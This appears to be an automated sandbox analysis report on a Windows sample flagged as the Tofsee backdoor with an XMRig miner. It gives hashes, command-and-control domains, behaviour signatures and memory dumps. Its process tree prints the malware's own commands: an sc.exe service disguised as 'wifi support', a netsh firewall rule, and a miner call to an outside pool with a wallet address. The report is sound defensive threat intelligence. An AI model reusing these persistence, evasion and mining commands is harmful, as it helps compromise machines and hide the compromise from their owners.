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Overview

overview

10

Static

static

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    196s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    27/11/2022, 19:55

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General

  • Target

    file.exe

  • Size

    147KB

  • MD5

    47ce9ed9195c4e612073ae5e1672e5b4

  • SHA1

    59ce202ca406b8231beb7e21d93ef273723a66e0

  • SHA256

    365774579036398a227dd43ab69bfb57221aa97700cd37e0bc7bd764420db839

  • SHA512

    785bb50a883500b0dcbd11e59b6bcafa30a737c50b7dccc3502a29f4fb107fab98d954b51e123112b9692e4f8d9d300f5f81c1275389b9223acb22f149018e16

  • SSDEEP

    3072:K+LFVOQgneprGk53rCVioI4owCnK1lDGD4x+99:LFVonkr/rgioI4owCn+IDD

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1812
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\sxtgwdhl\
      2⤵
        PID:1164
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\cbabcmor.exe" C:\Windows\SysWOW64\sxtgwdhl\
        2⤵
          PID:1916
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create sxtgwdhl binPath= "C:\Windows\SysWOW64\sxtgwdhl\cbabcmor.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1048
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description sxtgwdhl "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1964
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start sxtgwdhl
          2⤵
          • Launches sc.exe
          PID:1304
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:392
      • C:\Windows\SysWOW64\sxtgwdhl\cbabcmor.exe
        C:\Windows\SysWOW64\sxtgwdhl\cbabcmor.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:924
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:788
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1164

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\cbabcmor.exe
        Filesize

        15.0MB

        MD5

        d20487799c8f948903bb278a523829cd

        SHA1

        7b86927ded5b8faf0f2ca2b5fa7132f8aa21dcc3

        SHA256

        76f2993cb6266a1c0467b10faf35a16124bac211d092b2d9414e2ab4ae32622d

        SHA512

        90ad4556ad3644c9ea287a7f776bf5055dbd75af242fcd8d415a4d36cff4b3657de387cf3103d490ae3fa3bd3fcb0372845172df6906ab95699f6671bd63e9a0

        Download Submit

      • C:\Windows\SysWOW64\sxtgwdhl\cbabcmor.exe
        Filesize

        15.0MB

        MD5

        d20487799c8f948903bb278a523829cd

        SHA1

        7b86927ded5b8faf0f2ca2b5fa7132f8aa21dcc3

        SHA256

        76f2993cb6266a1c0467b10faf35a16124bac211d092b2d9414e2ab4ae32622d

        SHA512

        90ad4556ad3644c9ea287a7f776bf5055dbd75af242fcd8d415a4d36cff4b3657de387cf3103d490ae3fa3bd3fcb0372845172df6906ab95699f6671bd63e9a0

        Download Submit

      • memory/788-88-0x0000000000130000-0x0000000000140000-memory.dmp

        Filesize

        64KB

        Download

      • memory/788-91-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/788-98-0x0000000000430000-0x0000000000437000-memory.dmp

        Filesize

        28KB

        Download

      • memory/788-95-0x0000000005560000-0x000000000596B000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/788-92-0x00000000001C0000-0x00000000001C5000-memory.dmp

        Filesize

        20KB

        Download

      • memory/788-85-0x0000000000120000-0x0000000000126000-memory.dmp

        Filesize

        24KB

        Download

      • memory/788-80-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/788-73-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/788-82-0x0000000001900000-0x0000000001B0F000-memory.dmp

        Filesize

        2.1MB

        Download

      • memory/788-71-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

        Download

      • memory/924-75-0x000000000060D000-0x000000000061E000-memory.dmp

        Filesize

        68KB

        Download

      • memory/924-77-0x0000000000400000-0x000000000045A000-memory.dmp

        Filesize

        360KB

        Download

      • memory/1164-103-0x0000000000150000-0x0000000000241000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1164-101-0x0000000000150000-0x0000000000241000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1812-57-0x0000000000400000-0x000000000045A000-memory.dmp

        Filesize

        360KB

        Download

      • memory/1812-67-0x00000000002AD000-0x00000000002BE000-memory.dmp

        Filesize

        68KB

        Download

      • memory/1812-54-0x00000000753F1000-0x00000000753F3000-memory.dmp

        Filesize

        8KB

        Download

      • memory/1812-61-0x0000000000400000-0x000000000045A000-memory.dmp

        Filesize

        360KB

        Download

      • memory/1812-60-0x00000000002AD000-0x00000000002BE000-memory.dmp

        Filesize

        68KB

        Download

      • memory/1812-68-0x0000000000400000-0x000000000045A000-memory.dmp

        Filesize

        360KB

        Download

      • memory/1812-56-0x00000000001C0000-0x00000000001D3000-memory.dmp

        Filesize

        76KB

        Download

      • memory/1812-55-0x00000000002AD000-0x00000000002BE000-memory.dmp

        Filesize

        68KB

        Download